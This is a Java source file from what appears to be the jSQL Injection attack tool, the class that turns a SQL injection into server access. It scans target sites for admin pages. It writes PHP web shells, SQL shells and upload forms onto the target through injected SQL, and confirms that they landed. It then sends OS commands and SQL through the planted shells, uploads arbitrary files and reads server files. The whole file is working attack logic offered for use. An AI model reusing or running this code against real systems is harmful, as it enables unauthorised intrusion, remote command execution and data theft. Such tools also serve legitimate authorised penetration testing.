ResourceAccess.java
/*******************************************************************************
* Copyhacked (H) 2012-2020.
* This program and the accompanying materials
* are made available under no term at all, use it like
* you want, but share and discuss about it
* every time possible with every body.
*
* Contributors:
* ron190 at ymail dot com - initial implementation
******************************************************************************/
package com.jsql.model.accessible;
import com.jsql.model.InjectionModel;
import com.jsql.model.bean.database.AbstractElementDatabase;
import com.jsql.model.bean.util.Header;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.suspendable.SuspendableGetRows;
import com.jsql.util.ConnectionUtil;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.net.URLEncoder;
import java.net.http.HttpRequest;
import java.net.http.HttpRequest.BodyPublishers;
import java.net.http.HttpResponse;
import java.net.http.HttpResponse.BodyHandlers;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import java.util.*;
import java.util.concurrent.*;
import java.util.function.BiFunction;
import java.util.regex.Pattern;
/**
* Resource access object.
* Get information from file system, commands, webpage.
*/
public class ResourceAccess {
/**
* Log4j logger sent to view.
*/
private static final Logger LOGGER = LogManager.getRootLogger();
/**
* File name for web shell.
*/
public final String filenameWebshell;
/**
* File name for sql shell.
*/
public final String filenameSqlshell;
/**
* File name for upload form.
*/
public final String filenameUpload;
/**
* True if admin page should stop, false otherwise.
*/
private boolean isSearchAdminStopped = false;
/**
* True if scan list should stop, false otherwise.
*/
private boolean isScanStopped = false;
/**
* True if ongoing file reading must stop, false otherwise.
* If true any new file read is cancelled at start.
*/
private boolean isSearchFileStopped = false;
/**
* List of ongoing jobs.
*/
private final List<CallableFile> callablesReadFile = new ArrayList<>();
private static final String MSG_EMPTY_PAYLOAD = "payload integrity check: empty payload";
private final InjectionModel injectionModel;
public ResourceAccess(InjectionModel injectionModel) {
this.injectionModel = injectionModel;
this.filenameWebshell = "." + this.injectionModel.getVersionJsql() + ".jw.php";
this.filenameSqlshell = "." + this.injectionModel.getVersionJsql() + ".js.php";
this.filenameUpload = "." + this.injectionModel.getVersionJsql() + ".ju.php";
}
/**
* Check if every page in the list responds 200 Success.
*
* @param urlInjection
* @param pageNames List of admin pages to test
* @return
*/
public int createAdminPages(String urlInjection, List<String> pageNames) {
var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
matcher.find();
String urlProtocol = matcher.group(1);
String urlWithoutProtocol = matcher.group(3);
List<String> folderSplits = new ArrayList<>();
// Hostname only
if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
urlWithoutProtocol = "/dummy";
}
String[] splits = urlWithoutProtocol.split("/", -1);
String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
for (String folderName: folderNames) {
folderSplits.add(folderName +"/");
}
ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
var urlPart = new StringBuilder();
for (String segment: folderSplits) {
urlPart.append(segment);
for (String pageName: pageNames) {
taskCompletionService.submit(
new CallableHttpHead(
urlProtocol + urlPart + pageName,
this.injectionModel,
"check:page"
)
);
}
}
var nbAdminPagesFound = 0;
int submittedTasks = folderSplits.size() * pageNames.size();
int tasksHandled;
for (
tasksHandled = 0
; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
; tasksHandled++
) {
nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
}
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
this.setSearchAdminStopped(false);
this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
var request = new Request();
request.setMessage(Interaction.END_ADMIN_SEARCH);
this.injectionModel.sendToViews(request);
return nbAdminPagesFound;
}
public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
int nbAdminPagesFoundFixed = nbAdminPagesFound;
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
var request = new Request();
request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
request.setParameters(currentCallable.getUrl());
this.injectionModel.sendToViews(request);
nbAdminPagesFoundFixed++;
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
}
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
} catch (ExecutionException e) {
LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
}
return nbAdminPagesFoundFixed;
}
public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
var result = String.format(
"Found %s admin page%s%s on %s page%s",
nbAdminPagesFound,
nbAdminPagesFound > 1 ? 's' : StringUtils.EMPTY,
tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed" : StringUtils.EMPTY,
submittedTasks,
submittedTasks > 1 ? 's' : StringUtils.EMPTY
);
if (nbAdminPagesFound > 0) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
}
}
public void createWebShell(String pathShell, String urlShell) throws JSqlException {
BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> {
var request = new Request();
request.setMessage(Interaction.CREATE_SHELL_TAB);
request.setParameters(
pathShellFixed.replace(this.filenameWebshell, StringUtils.EMPTY),
urlSuccess
);
return request;
};
createShell(pathShell, urlShell, "shell.web", this.filenameWebshell, biFunctionGetRequest);
}
public void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException {
BiFunction<String, String, Request> biFunctionGetRequest = (String pathShellFixed, String urlSuccess) -> {
var request = new Request();
request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
request.setParameters(
pathShellFixed.replace(this.filenameSqlshell, StringUtils.EMPTY),
urlSuccess,
username,
password
);
return request;
};
createShell(pathShell, urlShell, "shell.sql", this.filenameSqlshell, biFunctionGetRequest);
}
/**
* Create shell on remote server
* @param pathShell Script to create on the server
* @param urlShell URL for the script (used for url rewriting)
*/
public void createShell(
String pathShell,
String urlShell,
String property,
String filename,
BiFunction<String, String, Request> biFunctionGetRequest
) throws JSqlException {
if (this.isReadingNotAllowed()) {
return;
}
String bodyShell = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperties().getProperty(property)
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
this.injectionModel.injectWithoutIndex(
this.injectionModel
.getMediatorVendor()
.getVendor()
.instance()
.sqlTextIntoFile(bodyShell, pathShellFixed + filename),
"shell:create"
);
String resultInjection;
var sourcePage = new String[]{ StringUtils.EMPTY };
try {
resultInjection = new SuspendableGetRows(this.injectionModel).run(
this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + filename),
sourcePage,
false,
1,
AbstractElementDatabase.MOCK,
"shell:read"
);
if (StringUtils.isEmpty(resultInjection)) {
throw new JSqlException(MSG_EMPTY_PAYLOAD);
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
String urlShellFixed = urlShell;
if (!urlShellFixed.isEmpty()) {
urlShellFixed = urlShellFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
}
String url = urlShellFixed;
if (StringUtils.isEmpty(url)) {
url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
}
if (!resultInjection.contains(bodyShell)) {
throw this.getIntegrityError(sourcePage);
}
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload created into '{}{}'", pathShellFixed, filename);
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
} else {
urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName: urlWithoutFileName.split("/")) {
directoryNames.add(directoryName +"/");
}
String urlSuccess = getShellUrl(filename, directoryNames, urlProtocol);
if (urlSuccess != null) {
var request = biFunctionGetRequest.apply(filename, urlSuccess);
this.injectionModel.sendToViews(request);
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Payload not found");
}
}
private String getShellUrl(String filename, List<String> directoryNames, String urlProtocol) {
ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableCreateShell");
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
var urlPart = new StringBuilder();
for (String segment: directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(
new CallableHttpHead(
urlProtocol + urlPart + filename,
this.injectionModel,
"shell#confirm"
)
);
}
int submittedTasks = directoryNames.size();
String urlSuccess = null;
for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Payload found: {}", urlSuccess);
} else {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Payload not found: {}", currentCallable.getUrl());
}
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
} catch (ExecutionException e) {
LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
}
}
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
return urlSuccess;
}
/**
*
* @param urlCommand
* @return
*/
public String runCommandShell(String urlCommand) {
String pageSource;
try {
pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand);
} catch (Exception e) {
pageSource = StringUtils.EMPTY;
}
var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*)<"+ DataAccess.TRAIL +">").matcher(pageSource);
regexSearch.find();
String result;
// IllegalStateException #1544: catch incorrect execution
try {
result = regexSearch.group(1);
} catch (IllegalStateException e) {
// Fix return null from regex
result = StringUtils.EMPTY;
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect response from Web shell");
}
return result;
}
/**
* Run a shell command on host.
* @param command The command to execute
* @param uuidShell An unique identifier for terminal
* @param urlShell Web path of the shell
*/
public String runWebShell(String command, UUID uuidShell, String urlShell) {
String result = this.runCommandShell(
urlShell + "?c="+ URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1)
);
if (StringUtils.isBlank(result)) {
// TODO Payload should redirect directly error to normal output
result = "No result.\nTry '"+ command.trim() +" 2>&1' to get a system error message.\n";
}
// Unfroze interface
var request = new Request();
request.setMessage(Interaction.GET_WEB_SHELL_RESULT);
request.setParameters(uuidShell, result);
this.injectionModel.sendToViews(request);
return result;
}
/**
* Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
* @param command SQL request to execute
* @param uuidShell Identifier of terminal sending the request
* @param urlShell URL to send SQL request against
* @param username User name [optional]
* @param password USEr password [optional]
*/
public String runSqlShell(String command, UUID uuidShell, String urlShell, String username, String password) {
String result = this.runCommandShell(
String.format(
"%s?q=%s&u=%s&p=%s",
urlShell,
URLEncoder.encode(command.trim(), StandardCharsets.ISO_8859_1),
username,
password
)
);
if (result.contains("<SQLr>")) {
List<List<String>> listRows = this.parse(result);
if (listRows.isEmpty()) {
return StringUtils.EMPTY;
}
List<Integer> listFieldsLength = this.parseColumnLength(listRows);
result = this.convert(listRows, listFieldsLength);
} else if (result.contains("<SQLm>")) {
result = result.replace("<SQLm>", StringUtils.EMPTY) + "\n";
} else if (result.contains("<SQLe>")) {
result = result.replace("<SQLe>", StringUtils.EMPTY) + "\n";
}
// Unfroze interface
var request = new Request();
request.setMessage(Interaction.GET_SQL_SHELL_RESULT);
request.setParameters(uuidShell, result, command);
this.injectionModel.sendToViews(request);
return result;
}
private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
var tableText = new StringBuilder("+");
for (Integer fieldLength: listFieldsLength) {
tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
}
tableText.append("\n");
for (List<String> listFields: listRows) {
tableText.append("|");
var cursorPosition = 0;
for (String field: listFields) {
tableText.append(StringUtils.SPACE)
.append(field)
.append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
.append(" |");
cursorPosition++;
}
tableText.append("\n");
}
tableText.append("+");
for (Integer fieldLength: listFieldsLength) {
tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
}
tableText.append("\n");
return tableText.toString();
}
private List<Integer> parseColumnLength(List<List<String>> listRows) {
List<Integer> listFieldsLength = new ArrayList<>();
for (
var indexLongestRowSearch = 0;
indexLongestRowSearch < listRows.get(0).size();
indexLongestRowSearch++
) {
int indexLongestRowSearchFinal = indexLongestRowSearch;
listRows.sort(
(firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
);
listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
}
return listFieldsLength;
}
private List<List<String>> parse(String result) {
List<List<String>> listRows = new ArrayList<>();
var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
while (rowsMatcher.find()) {
String values = rowsMatcher.group(1);
var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
List<String> listFields = new ArrayList<>();
listRows.add(listFields);
while (fieldsMatcher.find()) {
String field = fieldsMatcher.group(1);
listFields.add(field);
}
}
return listRows;
}
/**
* Upload a file to the server.
* @param pathFile Remote path of the file to upload
* @param urlFile URL of uploaded file
* @param file File to upload
* @throws JSqlException
* @throws IOException
* @throws InterruptedException
*/
public void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException, InterruptedException {
if (this.isReadingNotAllowed()) {
return;
}
String bodyShell = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils()
.getPropertiesUtil()
.getProperties()
.getProperty("shell.upload")
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD);
String pathShellFixed = pathFile;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
this.injectionModel.injectWithoutIndex(
this.injectionModel.getMediatorVendor()
.getVendor()
.instance()
.sqlTextIntoFile(
"<"+ DataAccess.LEAD +">"+ bodyShell +"<"+ DataAccess.TRAIL +">",
pathShellFixed + this.filenameUpload
),
"upload"
);
var sourcePage = new String[]{ StringUtils.EMPTY };
String bodyShellInjected;
try {
bodyShellInjected = new SuspendableGetRows(this.injectionModel).run(
this.injectionModel.getMediatorVendor().getVendor().instance().sqlFileRead(pathShellFixed + this.filenameUpload),
sourcePage,
false,
1,
AbstractElementDatabase.MOCK,
"upload"
);
if (StringUtils.isEmpty(bodyShellInjected)) {
throw new JSqlException(MSG_EMPTY_PAYLOAD);
}
} catch (JSqlException e) {
throw this.getIntegrityError(sourcePage);
}
String urlFileFixed = urlFile;
if (StringUtils.isEmpty(urlFileFixed)) {
urlFileFixed = this.injectionModel.getMediatorUtils()
.getConnectionUtil()
.getUrlBase()
.substring(
0,
this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase().lastIndexOf('/') + 1
);
}
if (bodyShellInjected.contains(bodyShell)) {
String logUrlFileFixed = urlFileFixed;
String logPathShellFixed = pathShellFixed;
LOGGER.log(
LogLevelUtil.CONSOLE_SUCCESS,
"Upload payload deployed at '{}{}' in '{}{}'",
() -> logUrlFileFixed,
() -> this.filenameUpload,
() -> logPathShellFixed,
() -> this.filenameUpload
);
try (InputStream streamToUpload = new FileInputStream(file)) {
HttpResponse<String> result = this.upload(file, urlFileFixed +"/"+ this.filenameUpload, streamToUpload);
this.confirmUpload(file, pathShellFixed, urlFileFixed, result);
}
} else {
throw this.getIntegrityError(sourcePage);
}
var request = new Request();
request.setMessage(Interaction.END_UPLOAD);
this.injectionModel.sendToViews(request);
}
private HttpResponse<String> upload(File file, String string, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
var crLf = "\r\n";
var boundary = "---------------------------4664151417711";
var streamData = new byte[streamToUpload.available()];
if (streamToUpload.read(streamData) == -1) {
throw new JSqlException("Error reading the file");
}
String headerForm = StringUtils.EMPTY;
headerForm += "--"+ boundary + crLf;
headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
headerForm += "Content-Type: binary/octet-stream"+ crLf;
headerForm += crLf;
String headerFile = StringUtils.EMPTY;
headerFile += crLf +"--"+ boundary +"--"+ crLf;
var httpRequest = HttpRequest.newBuilder()
.uri(URI.create(string))
.timeout(Duration.ofSeconds(15))
.POST(
BodyPublishers.ofByteArrays(
Arrays.asList(
headerForm.getBytes(StandardCharsets.UTF_8),
Files.readAllBytes(Paths.get(file.toURI())),
headerFile.getBytes(StandardCharsets.UTF_8)
)
)
)
.setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
.build();
return this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().send(httpRequest, BodyHandlers.ofString());
}
private void confirmUpload(File file, String pathShellFixed, String urlFileFixed, HttpResponse<String> httpResponse) {
if (httpResponse.body().contains(DataAccess.LEAD + "y")) {
LOGGER.log(
LogLevelUtil.CONSOLE_SUCCESS,
"File '{}' uploaded into '{}'",
file::getName,
() -> pathShellFixed
);
} else {
LOGGER.log(
LogLevelUtil.CONSOLE_ERROR,
"Upload file '{}' into '{}' failed",
file::getName,
() -> pathShellFixed
);
}
Map<String, String> headers = ConnectionUtil.getHeadersMap(httpResponse);
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, urlFileFixed);
msgHeader.put(Header.POST, StringUtils.EMPTY);
msgHeader.put(Header.HEADER, StringUtils.EMPTY);
msgHeader.put(Header.RESPONSE, headers);
msgHeader.put(Header.SOURCE, httpResponse.toString());
var request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
this.injectionModel.sendToViews(request);
}
/**
* Check if current user can read files.
* @return True if user can read file, false otherwise
* @throws JSqlException when an error occurs during injection
*/
public boolean isReadingNotAllowed() throws JSqlException {
// Unsupported Reading file when <file> is not present in current xmlModel
// Fix #41055: NullPointerException on getFile()
if (this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getResource().getFile() == null) {
LOGGER.log(
LogLevelUtil.CONSOLE_ERROR,
"Reading file on {} is currently not supported",
() -> this.injectionModel.getMediatorVendor().getVendor()
);
return true;
}
var sourcePage = new String[]{ StringUtils.EMPTY };
String resultInjection = new SuspendableGetRows(this.injectionModel).run(
this.injectionModel.getMediatorVendor().getVendor().instance().sqlPrivilegeTest(),
sourcePage,
false,
1,
AbstractElementDatabase.MOCK,
"privilege"
);
boolean readingIsAllowed = false;
if (StringUtils.isEmpty(resultInjection)) {
this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
var request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
this.injectionModel.sendToViews(request);
} else if ("false".equals(resultInjection)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted to current user: files not readable");
var request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
this.injectionModel.sendToViews(request);
} else {
var request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
this.injectionModel.sendToViews(request);
readingIsAllowed = true;
}
return !readingIsAllowed;
}
/**
* Attempt to read files in parallel by their path from the website using injection.
* Reading file needs a FILE right on the server.
* The user can interrupt the process at any time.
* @param pathsFiles List of file paths to read
* @throws JSqlException when an error occurs during injection
* @throws InterruptedException if the current thread was interrupted while waiting
* @throws ExecutionException if the computation threw an exception
*/
public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
if (
this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
&& this.isReadingNotAllowed()
) {
return Collections.emptyList();
}
var countFileFound = 0;
var results = new ArrayList<String>();
ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
for (String pathFile: pathsFiles) {
var callableFile = new CallableFile(pathFile, this.injectionModel);
taskCompletionService.submit(callableFile);
this.getCallablesReadFile().add(callableFile);
}
List<String> duplicate = new ArrayList<>();
int submittedTasks = pathsFiles.size();
int tasksHandled;
for (
tasksHandled = 0
; tasksHandled < submittedTasks && !this.isSearchFileStopped()
; tasksHandled++
) {
var currentCallable = taskCompletionService.take().get();
if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
var name = currentCallable.getPathFile()
.substring(currentCallable.getPathFile().lastIndexOf('/') + 1);
String content = currentCallable.getSourceFile();
String path = currentCallable.getPathFile();
var request = new Request();
request.setMessage(Interaction.CREATE_FILE_TAB);
request.setParameters(name, content, path);
this.injectionModel.sendToViews(request);
if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
LOGGER.log(
LogLevelUtil.CONSOLE_INFORM,
"Shell might be possible in folder {}",
() -> path.replace(name, StringUtils.EMPTY)
);
}
duplicate.add(path.replace(name, StringUtils.EMPTY));
results.add(content);
countFileFound++;
}
}
// Force ongoing suspendables to stop immediately
for (CallableFile callableReadFile: this.getCallablesReadFile()) {
callableReadFile.getSuspendableReadFile().stop();
}
this.getCallablesReadFile().clear();
this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
this.setSearchFileStopped(false);
var result = String.format(
"Found %s file%s%s on %s files checked",
countFileFound,
countFileFound > 1 ? 's' : StringUtils.EMPTY,
tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed " : StringUtils.EMPTY,
submittedTasks
);
if (countFileFound > 0) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
}
var request = new Request();
request.setMessage(Interaction.END_FILE_SEARCH);
this.injectionModel.sendToViews(request);
return results;
}
/**
* Mark the search of files to stop.
* Any ongoing file reading is interrupted and any new file read
* is cancelled.
*/
public void stopSearchingFile() {
this.setSearchFileStopped(true);
// Force ongoing suspendable to stop immediately
for (CallableFile callable: this.getCallablesReadFile()) {
callable.getSuspendableReadFile().stop();
}
}
private JSqlException getIntegrityError(String[] sourcePage) {
return new JSqlException("Payload integrity check failure: "+ sourcePage[0].trim().replace("\\n", "\\\\\\n"));
}
// Getters and setters
public boolean isSearchAdminStopped() {
return this.isSearchAdminStopped;
}
public void setSearchAdminStopped(boolean isSearchAdminStopped) {
this.isSearchAdminStopped = isSearchAdminStopped;
}
public void setScanStopped(boolean isScanStopped) {
this.isScanStopped = isScanStopped;
}
public boolean isScanStopped() {
return this.isScanStopped;
}
public boolean isSearchFileStopped() {
return this.isSearchFileStopped;
}
public void setSearchFileStopped(boolean isSearchFileStopped) {
this.isSearchFileStopped = isSearchFileStopped;
}
public List<CallableFile> getCallablesReadFile() {
return this.callablesReadFile;
}
}